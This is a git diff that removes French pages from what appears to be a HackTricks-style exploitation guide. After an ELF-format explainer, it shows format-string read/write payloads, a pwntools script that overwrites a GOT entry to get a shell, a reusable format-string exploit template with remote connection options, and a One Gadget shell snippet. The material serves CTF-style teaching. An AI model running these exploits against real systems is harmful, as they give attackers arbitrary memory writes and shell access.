-CONTENTS, ALLOC, LOAD, DATA -19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 -CONTENTS, ALLOC, LOAD, DATA -20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 -CONTENTS, ALLOC, LOAD, DATA -21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 -CONTENTS, ALLOC, LOAD, DATA -22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 -CONTENTS, ALLOC, LOAD, DATA -23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 -ALLOC -24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 -CONTENTS, READONLY -25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 -CONTENTS, READONLY -``` -Il indique également l'emplacement, le décalage, les permissions mais aussi le **type de données** que contient sa section. - -### Sections Métas - -- **Table des chaînes** : Elle contient toutes les chaînes nécessaires au fichier ELF (mais pas celles réellement utilisées par le programme). Par exemple, elle contient des noms de sections comme `.text` ou `.data`. Et si `.text` est à l'offset 45 dans la table des chaînes, elle utilisera le numéro **45** dans le champ **nom**. -- Pour trouver où se trouve la table des chaînes, l'ELF contient un pointeur vers la table des chaînes. -- **Table des symboles** : Elle contient des informations sur les symboles comme le nom (offset dans la table des chaînes), l'adresse, la taille et plus de métadonnées sur le symbole. - -### Sections Principales - -- **`.text`** : Les instructions du programme à exécuter. -- **`.data`** : Variables globales avec une valeur définie dans le programme. -- **`.bss`** : Variables globales laissées non initialisées (ou initialisées à zéro). Les variables ici sont automatiquement initialisées à zéro, empêchant ainsi l'ajout de zéros inutiles au binaire. -- **`.rodata`** : Variables globales constantes (section en lecture seule). -- **`.tdata`** et **`.tbss`** : Comme .data et .bss lorsque des variables locales à un thread sont utilisées (`__thread_local` en C++ ou `__thread` en C). -- **`.dynamic`** : Voir ci-dessous. - -## Symboles - -Les symboles sont un emplacement nommé dans le programme qui pourrait être une fonction, un objet de données global, des variables locales à un thread... -``` -readelf -s lnstat - -Symbol table '.dynsym' contains 49 entries: -Num: Value Size Type Bind Vis Ndx Name -0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND -1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init -2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data -3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) -4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) -5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) -6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) -7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) -8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) -9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) -10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] -11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) -12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) -[...] -``` -Chaque entrée de symbole contient : - -- **Nom** -- **Attributs de liaison** (faible, local ou global) : Un symbole local ne peut être accédé que par le programme lui-même, tandis que les symboles globaux sont partagés en dehors du programme. Un objet faible est par exemple une fonction qui peut être remplacée par une autre. -- **Type** : NOTYPE (aucun type spécifié), OBJECT (variable de données globale), FUNC (fonction), SECTION (section), FILE (fichier source pour les débogueurs), TLS (variable locale au thread), GNU_IFUNC (fonction indirecte pour la relocation) -- **Index de section** où il est situé -- **Valeur** (adresse en mémoire) -- **Taille** - -## Section dynamique -``` -readelf -d lnstat - -Dynamic section at offset 0xfc58 contains 28 entries: -Tag Type Name/Value -0x0000000000000001 (NEEDED) Shared library: [libc.so.6] -0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] -0x000000000000000c (INIT) 0x1088 -0x000000000000000d (FINI) 0x2f74 -0x0000000000000019 (INIT_ARRAY) 0x1fc48 -0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) -0x000000000000001a (FINI_ARRAY) 0x1fc50 -0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) -0x000000006ffffef5 (GNU_HASH) 0x338 -0x0000000000000005 (STRTAB) 0x7f0 -0x0000000000000006 (SYMTAB) 0x358 -0x000000000000000a (STRSZ) 510 (bytes) -0x000000000000000b (SYMENT) 24 (bytes) -0x0000000000000015 (DEBUG) 0x0 -0x0000000000000003 (PLTGOT) 0x1fe58 -0x0000000000000002 (PLTRELSZ) 960 (bytes) -0x0000000000000014 (PLTREL) RELA -0x0000000000000017 (JMPREL) 0xcc8 -0x0000000000000007 (RELA) 0xaa0 -0x0000000000000008 (RELASZ) 552 (bytes) -0x0000000000000009 (RELAENT) 24 (bytes) -0x000000000000001e (FLAGS) BIND_NOW -0x000000006ffffffb (FLAGS_1) Flags: NOW PIE -0x000000006ffffffe (VERNEED) 0xa50 -0x000000006fffffff (VERNEEDNUM) 2 -0x000000006ffffff0 (VERSYM) 0x9ee -0x000000006ffffff9 (RELACOUNT) 15 -0x0000000000000000 (NULL) 0x0 -``` -Le répertoire NEEDED indique que le programme **doit charger la bibliothèque mentionnée** pour continuer. Le répertoire NEEDED se complète une fois que la **bibliothèque partagée est pleinement opérationnelle et prête** à être utilisée. - -## Relocalisations - -Le chargeur doit également relocaliser les dépendances après les avoir chargées. Ces relocalisations sont indiquées dans la table de relocalisation dans les formats REL ou RELA et le nombre de relocalisations est donné dans les sections dynamiques RELSZ ou RELASZ. -``` -readelf -r lnstat - -Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: -Offset Info Type Sym. Value Sym. Name + Addend -00000001fc48 000000000403 R_AARCH64_RELATIV 1d10 -00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0 -00000001fff0 000000000403 R_AARCH64_RELATIV 1340 -000000020008 000000000403 R_AARCH64_RELATIV 20008 -000000020010 000000000403 R_AARCH64_RELATIV 3330 -000000020030 000000000403 R_AARCH64_RELATIV 3338 -000000020050 000000000403 R_AARCH64_RELATIV 3340 -000000020070 000000000403 R_AARCH64_RELATIV 3348 -000000020090 000000000403 R_AARCH64_RELATIV 3350 -0000000200b0 000000000403 R_AARCH64_RELATIV 3358 -0000000200d0 000000000403 R_AARCH64_RELATIV 3360 -0000000200f0 000000000403 R_AARCH64_RELATIV 3370 -000000020110 000000000403 R_AARCH64_RELATIV 3378 -000000020130 000000000403 R_AARCH64_RELATIV 3380 -000000020150 000000000403 R_AARCH64_RELATIV 3388 -00000001ffb8 000a00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_deregisterTM[...] + 0 -00000001ffc0 000b00000401 R_AARCH64_GLOB_DA 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0 -00000001ffc8 000f00000401 R_AARCH64_GLOB_DA 0000000000000000 stderr@GLIBC_2.17 + 0 -00000001ffd0 001000000401 R_AARCH64_GLOB_DA 0000000000000000 optarg@GLIBC_2.17 + 0 -00000001ffd8 001400000401 R_AARCH64_GLOB_DA 0000000000000000 stdout@GLIBC_2.17 + 0 -00000001ffe0 001e00000401 R_AARCH64_GLOB_DA 0000000000000000 __gmon_start__ + 0 -00000001ffe8 001f00000401 R_AARCH64_GLOB_DA 0000000000000000 __stack_chk_guard@GLIBC_2.17 + 0 -00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0 - -Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: -Offset Info Type Sym. Value Sym. Name + Addend -00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0 -00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0 -00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0 -00000001fe88 000600000402 R_AARCH64_JUMP_SL 0000000000000000 fputs@GLIBC_2.17 + 0 -00000001fe90 000700000402 R_AARCH64_JUMP_SL 0000000000000000 exit@GLIBC_2.17 + 0 -00000001fe98 000800000402 R_AARCH64_JUMP_SL 0000000000000000 __libc_start_main@GLIBC_2.34 + 0 -00000001fea0 000900000402 R_AARCH64_JUMP_SL 0000000000000000 perror@GLIBC_2.17 + 0 -00000001fea8 000b00000402 R_AARCH64_JUMP_SL 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0 -00000001feb0 000c00000402 R_AARCH64_JUMP_SL 0000000000000000 putc@GLIBC_2.17 + 0 -00000001feb8 000d00000402 R_AARCH64_JUMP_SL 0000000000000000 opendir@GLIBC_2.17 + 0 -00000001fec0 000e00000402 R_AARCH64_JUMP_SL 0000000000000000 fputc@GLIBC_2.17 + 0 -00000001fec8 001100000402 R_AARCH64_JUMP_SL 0000000000000000 snprintf@GLIBC_2.17 + 0 -00000001fed0 001200000402 R_AARCH64_JUMP_SL 0000000000000000 __snprintf_chk@GLIBC_2.17 + 0 -00000001fed8 001300000402 R_AARCH64_JUMP_SL 0000000000000000 malloc@GLIBC_2.17 + 0 -00000001fee0 001500000402 R_AARCH64_JUMP_SL 0000000000000000 gettimeofday@GLIBC_2.17 + 0 -00000001fee8 001600000402 R_AARCH64_JUMP_SL 0000000000000000 sleep@GLIBC_2.17 + 0 -00000001fef0 001700000402 R_AARCH64_JUMP_SL 0000000000000000 __vfprintf_chk@GLIBC_2.17 + 0 -00000001fef8 001800000402 R_AARCH64_JUMP_SL 0000000000000000 calloc@GLIBC_2.17 + 0 -00000001ff00 001900000402 R_AARCH64_JUMP_SL 0000000000000000 rewind@GLIBC_2.17 + 0 -00000001ff08 001a00000402 R_AARCH64_JUMP_SL 0000000000000000 strdup@GLIBC_2.17 + 0 -00000001ff10 001b00000402 R_AARCH64_JUMP_SL 0000000000000000 closedir@GLIBC_2.17 + 0 -00000001ff18 001c00000402 R_AARCH64_JUMP_SL 0000000000000000 __stack_chk_fail@GLIBC_2.17 + 0 -00000001ff20 001d00000402 R_AARCH64_JUMP_SL 0000000000000000 strrchr@GLIBC_2.17 + 0 -00000001ff28 001e00000402 R_AARCH64_JUMP_SL 0000000000000000 __gmon_start__ + 0 -00000001ff30 002000000402 R_AARCH64_JUMP_SL 0000000000000000 abort@GLIBC_2.17 + 0 -00000001ff38 002100000402 R_AARCH64_JUMP_SL 0000000000000000 feof@GLIBC_2.17 + 0 -00000001ff40 002200000402 R_AARCH64_JUMP_SL 0000000000000000 getopt_long@GLIBC_2.17 + 0 -00000001ff48 002300000402 R_AARCH64_JUMP_SL 0000000000000000 __fprintf_chk@GLIBC_2.17 + 0 -00000001ff50 002400000402 R_AARCH64_JUMP_SL 0000000000000000 strcmp@GLIBC_2.17 + 0 -00000001ff58 002500000402 R_AARCH64_JUMP_SL 0000000000000000 free@GLIBC_2.17 + 0 -00000001ff60 002600000402 R_AARCH64_JUMP_SL 0000000000000000 readdir64@GLIBC_2.17 + 0 -00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0 -00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0 -00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0 -00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0 -00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0 -00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0 -00000001ff98 002d00000402 R_AARCH64_JUMP_SL 0000000000000000 strncpy@GLIBC_2.17 + 0 -00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0 -00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0 -``` -### Relocalisations Statique - -Si le **programme est chargé à un endroit différent** de l'adresse préférée (généralement 0x400000) parce que l'adresse est déjà utilisée ou à cause de **ASLR** ou pour toute autre raison, une relocalisation statique **corrige les pointeurs** qui avaient des valeurs s'attendant à ce que le binaire soit chargé à l'adresse préférée. - -Par exemple, toute section de type `R_AARCH64_RELATIV` devrait avoir modifié l'adresse au biais de relocalisation plus la valeur d'addend. - -### Relocalisations Dynamiques et GOT - -La relocalisation pourrait également référencer un symbole externe (comme une fonction d'une dépendance). Comme la fonction malloc de libC. Ensuite, le chargeur, en chargeant libC à une adresse, vérifie où la fonction malloc est chargée, il écrira cette adresse dans la table GOT (Global Offset Table) (indiquée dans la table de relocalisation) où l'adresse de malloc devrait être spécifiée. - -### Table de Liaison de Procédure - -La section PLT permet d'effectuer un liaison paresseuse, ce qui signifie que la résolution de l'emplacement d'une fonction sera effectuée la première fois qu'elle est accédée. - -Ainsi, lorsqu'un programme appelle malloc, il appelle en réalité l'emplacement correspondant de `malloc` dans le PLT (`malloc@plt`). La première fois qu'il est appelé, il résout l'adresse de `malloc` et la stocke, donc la prochaine fois que `malloc` est appelé, cette adresse est utilisée au lieu du code PLT. - -## Initialisation du Programme - -Après que le programme a été chargé, il est temps pour lui de s'exécuter. Cependant, le premier code qui est exécuté **n'est pas toujours la fonction `main`**. Cela est dû au fait que, par exemple, en C++, si une **variable globale est un objet d'une classe**, cet objet doit être **initialisé** **avant** que main ne s'exécute, comme dans : -```cpp -#include -// g++ autoinit.cpp -o autoinit -class AutoInit { -public: -AutoInit() { -printf("Hello AutoInit!\n"); -} -~AutoInit() { -printf("Goodbye AutoInit!\n"); -} -}; - -AutoInit autoInit; - -int main() { -printf("Main\n"); -return 0; -} -``` -Notez que ces variables globales se trouvent dans `.data` ou `.bss`, mais dans les listes `__CTOR_LIST__` et `__DTOR_LIST__`, les objets à initialiser et à détruire sont stockés afin de les suivre. - -À partir du code C, il est possible d'obtenir le même résultat en utilisant les extensions GNU : -```c -__attributte__((constructor)) //Add a constructor to execute before -__attributte__((destructor)) //Add to the destructor list -``` -D'un point de vue du compilateur, pour exécuter ces actions avant et après l'exécution de la fonction `main`, il est possible de créer une fonction `init` et une fonction `fini` qui seraient référencées dans la section dynamique comme **`INIT`** et **`FIN`**. et sont placées dans les sections `init` et `fini` de l'ELF. - -L'autre option, comme mentionné, est de référencer les listes **`__CTOR_LIST__`** et **`__DTOR_LIST__`** dans les entrées **`INIT_ARRAY`** et **`FINI_ARRAY`** de la section dynamique et la longueur de celles-ci est indiquée par **`INIT_ARRAYSZ`** et **`FINI_ARRAYSZ`**. Chaque entrée est un pointeur de fonction qui sera appelé sans arguments. - -De plus, il est également possible d'avoir un **`PREINIT_ARRAY`** avec des **pointeurs** qui seront exécutés **avant** les pointeurs **`INIT_ARRAY`**. - -### Ordre d'initialisation - -1. Le programme est chargé en mémoire, les variables globales statiques sont initialisées dans **`.data`** et celles non initialisées mises à zéro dans **`.bss`**. -2. Toutes les **dépendances** pour le programme ou les bibliothèques sont **initialisées** et le **lien dynamique** est exécuté. -3. Les fonctions **`PREINIT_ARRAY`** sont exécutées. -4. Les fonctions **`INIT_ARRAY`** sont exécutées. -5. S'il y a une entrée **`INIT`**, elle est appelée. -6. Si c'est une bibliothèque, dlopen se termine ici, si c'est un programme, il est temps d'appeler le **vrai point d'entrée** (fonction `main`). - -## Stockage Local par Fil (TLS) - -Ils sont définis en utilisant le mot-clé **`__thread_local`** en C++ ou l'extension GNU **`__thread`**. - -Chaque fil maintiendra un emplacement unique pour cette variable, donc seul le fil peut accéder à sa variable. - -Lorsque cela est utilisé, les sections **`.tdata`** et **`.tbss`** sont utilisées dans l'ELF. Qui sont comme `.data` (initialisé) et `.bss` (non initialisé) mais pour le TLS. - -Chaque variable aura une entrée dans l'en-tête TLS spécifiant la taille et le décalage TLS, qui est le décalage qu'elle utilisera dans la zone de données locale du fil. - -Le `__TLS_MODULE_BASE` est un symbole utilisé pour faire référence à l'adresse de base du stockage local par fil et pointe vers la zone en mémoire qui contient toutes les données locales par fil d'un module. - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md deleted file mode 100644 index 3aa61c7fd..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md +++ /dev/null @@ -1,150 +0,0 @@ -# Format Strings - -{{#include ../../../banners/hacktricks-training.md}} - -## Informations de base - -En C, **`printf`** est une fonction qui peut être utilisée pour **imprimer** une chaîne. Le **premier paramètre** que cette fonction attend est le **texte brut avec les formatteurs**. Les **paramètres suivants** attendus sont les **valeurs** à **substituer** aux **formatteurs** du texte brut. - -La vulnérabilité apparaît lorsqu'un **texte d'attaquant est utilisé comme premier argument** de cette fonction. L'attaquant pourra créer une **entrée spéciale abusant** des capacités de **format de printf** pour lire et **écrire des données à n'importe quelle adresse (lisible/écrivable)**. Cela lui permet ainsi d'**exécuter du code arbitraire**. - -#### Formatters: -```bash -%08x —> 8 hex bytes -%d —> Entire -%u —> Unsigned -%s —> String -%n —> Number of written bytes -%hn —> Occupies 2 bytes instead of 4 -$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 -``` -**Exemples :** - -- Exemple vulnérable : -```c -char buffer[30]; -gets(buffer); // Dangerous: takes user input without restrictions. -printf(buffer); // If buffer contains "%x", it reads from the stack. -``` -- Utilisation normale : -```c -int value = 1205; -printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 -``` -- Avec des arguments manquants : -```c -printf("%x %x %x", value); // Unexpected output: reads random values from the stack. -``` -### **Accéder aux Pointeurs** - -Le format **`%$x`**, où `n` est un nombre, permet d'indiquer à printf de sélectionner le n-ième paramètre (de la pile). Donc, si vous voulez lire le 4ème paramètre de la pile en utilisant printf, vous pourriez faire : -```c -printf("%x %x %x %x") -``` -et vous liriez du premier au quatrième paramètre. - -Ou vous pourriez faire : -```c -printf("$4%x") -``` -et lire directement le quatrième. - -Remarquez que l'attaquant contrôle le paramètre `pr`**`intf`**, ce qui signifie essentiellement que** son entrée sera dans la pile lorsque `printf` est appelé, ce qui signifie qu'il pourrait écrire des adresses mémoire spécifiques dans la pile. - -> [!CAUTION] -> Un attaquant contrôlant cette entrée, sera capable d'**ajouter une adresse arbitraire dans la pile et de faire en sorte que `printf` y accède**. Dans la section suivante, il sera expliqué comment utiliser ce comportement. - -## **Lecture Arbitraire** - -Il est possible d'utiliser le formatteur **`$n%s`** pour faire en sorte que **`printf`** obtienne l'**adresse** située à la **n position**, la suivant et **l'imprimer comme si c'était une chaîne** (imprimer jusqu'à ce qu'un 0x00 soit trouvé). Donc, si l'adresse de base du binaire est **`0x8048000`**, et que nous savons que l'entrée utilisateur commence à la 4ème position dans la pile, il est possible d'imprimer le début du binaire avec : -```python -from pwn import * - -p = process('./bin') - -payload = b'%6$p' #4th param -payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input) -payload += p32(0x8048000) #6th param - -p.sendline(payload) -log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' -``` -> [!CAUTION] -> Notez que vous ne pouvez pas mettre l'adresse 0x8048000 au début de l'entrée car la chaîne sera coupée en 0x00 à la fin de cette adresse. - -## **Écriture Arbitraire** - -Le formatteur **`$%n`** **écrit** le **nombre de bytes écrits** à l'**adresse indiquée** dans le paramètre \ dans la pile. Si un attaquant peut écrire autant de caractères qu'il le souhaite avec printf, il pourra faire en sorte que **`$%n`** écrive un nombre arbitraire à une adresse arbitraire. - -Heureusement, pour écrire le nombre 9999, il n'est pas nécessaire d'ajouter 9999 "A" à l'entrée, pour ce faire, il est possible d'utiliser le formatteur **`%.%$n`** pour écrire le nombre **``** à l'**adresse pointée par la position `num`**. -```bash -AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param -AAAA.%500\$08x —> Param at offset 500 -``` -Cependant, notez qu'en général, pour écrire une adresse telle que `0x08049724` (qui est un énorme nombre à écrire d'un coup), **on utilise `$hn`** au lieu de `$n`. Cela permet de **n'écrire que 2 octets**. Par conséquent, cette opération est effectuée deux fois, une fois pour les 2 octets les plus élevés de l'adresse et une autre fois pour les plus bas. - -Par conséquent, cette vulnérabilité permet de **tout écrire à n'importe quelle adresse (écriture arbitraire).** - -Dans cet exemple, l'objectif sera de **surcharger** l'**adresse** d'une **fonction** dans la table **GOT** qui sera appelée plus tard. Bien que cela puisse abuser d'autres techniques d'écriture arbitraire pour exécuter : - -{{#ref}} -../arbitrary-write-2-exec/ -{{#endref}} - -Nous allons **surcharger** une **fonction** qui **reçoit** ses **arguments** de l'**utilisateur** et **pointer** vers la **fonction** **`system`**.\ -Comme mentionné, pour écrire l'adresse, généralement 2 étapes sont nécessaires : Vous **écrivez d'abord 2 octets** de l'adresse puis les autres 2. Pour ce faire, **`$hn`** est utilisé. - -- **HOB** est appelé pour les 2 octets les plus élevés de l'adresse -- **LOB** est appelé pour les 2 octets les plus bas de l'adresse - -Ensuite, en raison de la façon dont fonctionne la chaîne de format, vous devez **écrire d'abord le plus petit** de \[HOB, LOB] puis l'autre. - -Si HOB < LOB\ -`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` - -Si HOB > LOB\ -`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` - -HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB -```bash -python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' -``` -### Modèle Pwntools - -Vous pouvez trouver un modèle pour préparer un exploit pour ce type de vulnérabilité dans : - -{{#ref}} -format-strings-template.md -{{#endref}} - -Ou cet exemple de base [**ici**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) : -```python -from pwn import * - -elf = context.binary = ELF('./got_overwrite-32') -libc = elf.libc -libc.address = 0xf7dc2000 # ASLR disabled - -p = process() - -payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']}) -p.sendline(payload) - -p.clean() - -p.sendline('/bin/sh') - -p.interactive() -``` -## Autres exemples et références - -- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) -- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) -- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 bits, pas de relro, pas de canary, nx, pas de pie, utilisation de base des chaînes de format pour divulguer le drapeau de la pile (pas besoin de modifier le flux d'exécution) -- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écraser l'adresse `fflush` avec la fonction win (ret2win) -- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écrire une adresse à l'intérieur de main dans `.fini_array` (pour que le flux boucle encore une fois) et écrire l'adresse vers `system` dans la table GOT pointant vers `strlen`. Lorsque le flux revient à main, `strlen` est exécuté avec l'entrée utilisateur et pointant vers `system`, il exécutera les commandes passées. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md deleted file mode 100644 index 37491cf26..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md +++ /dev/null @@ -1,140 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} -```python -from pwn import * -from time import sleep - -################### -### CONNECTION #### -################### - -# Define how you want to exploit the binary -LOCAL = True -REMOTETTCP = False -REMOTESSH = False -GDB = False - -# Configure vulnerable binary -LOCAL_BIN = "./tyler" -REMOTE_BIN = "./tyler" #For ssh - -# In order to exploit the format string you may need to append/prepend some string to the payload -# configure them here -PREFIX_PAYLOAD = b"" -SUFFIX_PAYLOAD = b"" -NNUM_ALREADY_WRITTEN_BYTES = 0 -MAX_LENTGH = 999999 #Big num if not restricted - -print(" ====================== ") -print("Selected options:") -print(f"PREFIX_PAYLOAD: {PREFIX_PAYLOAD}") -print(f"SUFFIX_PAYLOAD: {SUFFIX_PAYLOAD}") -print(f"NNUM_ALREADY_WRITTEN_BYTES: {NNUM_ALREADY_WRITTEN_BYTES}") -print(" ====================== ") - - -def connect_binary(): -global P, ELF_LOADED, ROP_LOADED - -if LOCAL: -P = process(LOCAL_BIN) # start the vuln binary -ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary -ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - -elif REMOTETTCP: -P = remote('10.10.10.10',1338) # start the vuln binary -ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary -ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - -elif REMOTESSH: -ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) -P = ssh_shell.process(REMOTE_BIN) # start the vuln binary -ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary -ROP_LOADED = ROP(elf)# Find ROP gadgets - - -####################################### -### Get format string configuration ### -####################################### - -def send_payload(payload): -payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD -log.info("payload = %s" % repr(payload)) -if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") -P.sendline(payload) -sleep(0.5) -return P.recv() - - -def get_formatstring_config(): -global P - -for offset in range(1,1000): -connect_binary() -P.clean() - -payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" -recieved = send_payload(payload).strip() - -if b"41" in recieved: -for padlen in range(0,4): -if b"41414141" in recieved: -connect_binary() -payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" -recieved = send_payload(payload).strip() -print(recieved) -if b"42424242" in recieved: -log.info(f"Found offset ({offset}) and padlen ({padlen})") -return offset, padlen - -else: -connect_binary() -payload = b" " + payload -recieved = send_payload(payload).strip() - - -# In order to exploit a format string you need to find a position where part of your payload -# is being reflected. Then, you will be able to put in the position arbitrary addresses -# and write arbitrary content in those addresses -# Therefore, the function get_formatstring_config will find the offset and padd needed to exploit the format string - -offset, padlen = get_formatstring_config() - - -# In this template, the GOT of printf (the part of the GOT table that points to where the printf -# function resides) is going to be modified by the address of the system inside the PLT (the -# part of the code that will jump to the system function). -# Therefore, next time the printf function is executed, system will be executed instead with the same -# parameters passed to printf - -# In some scenarios you will need to loop1 more time to the vulnerability -# In that cases you need to overwrite a pointer in the .fini_array for example -# Uncomment the commented code below to gain 1 rexecution extra - -#P_FINI_ARRAY = ELF_LOADED.symbols["__init_array_end"] # .fini_array address -#INIT_LOOP_ADDR = 0x8048614 # Address to go back -SYSTEM_PLT = ELF_LOADED.plt["system"] -P_GOT = ELF_LOADED.got["printf"] - -#log.info(f"Init loop address: {hex(INIT_LOOP_ADDR)}") -#log.info(f"fini.array address: {hex(P_FINI_ARRAY)}") -log.info(f"System PLT address: {hex(SYSTEM_PLT)}") -log.info(f"Printf GOT address: {hex(P_GOT)}") - -connect_binary() -if GDB and not REMOTETTCP and not REMOTESSH: -# attach gdb and continue -# You can set breakpoints, for example "break *main" -gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" -sleep(5) - -format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES) -#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR) -format_string.write(P_GOT, SYSTEM_PLT) -format_string.execute_writes() - -# Now that printf function is executing system you just need to find a place where you can -# control the parameters passed to printf to execute arbitrary code. - -P.interactive() -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md deleted file mode 100644 index b9ff7e51b..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md +++ /dev/null @@ -1,20 +0,0 @@ -# One Gadget - -{{#include ../../banners/hacktricks-training.md}} - -## Informations de base - -[**One Gadget**](https://github.com/david942j/one_gadget) permet d'obtenir un shell au lieu d'utiliser **system** et **"/bin/sh". One Gadget** va trouver à l'intérieur de la bibliothèque libc un moyen d'obtenir un shell (`execve("/bin/sh")`) en utilisant juste une **adresse**.\ -Cependant, normalement, il y a certaines contraintes, les plus courantes et faciles à éviter sont comme `[rsp+0x30] == NULL` Comme vous contrôlez les valeurs à l'intérieur de **RSP**, vous devez juste envoyer quelques valeurs NULL supplémentaires pour éviter la contrainte. - -![](<../../images/image (615).png>) -```python -ONE_GADGET = libc.address + 0x4526a -rop2 = base + p64(ONE_GADGET) + "\x00"*100 -``` -À l'adresse indiquée par One Gadget, vous devez **ajouter l'adresse de base où `libc`** est chargée. - -> [!TIP] -> One Gadget est une **grande aide pour les techniques Arbitrary Write 2 Exec** et peut **simplifier les chaînes ROP** car vous n'avez besoin d'appeler qu'une seule adresse (et de remplir les exigences). - -{{#include ../../banners/hacktricks-training.md}} 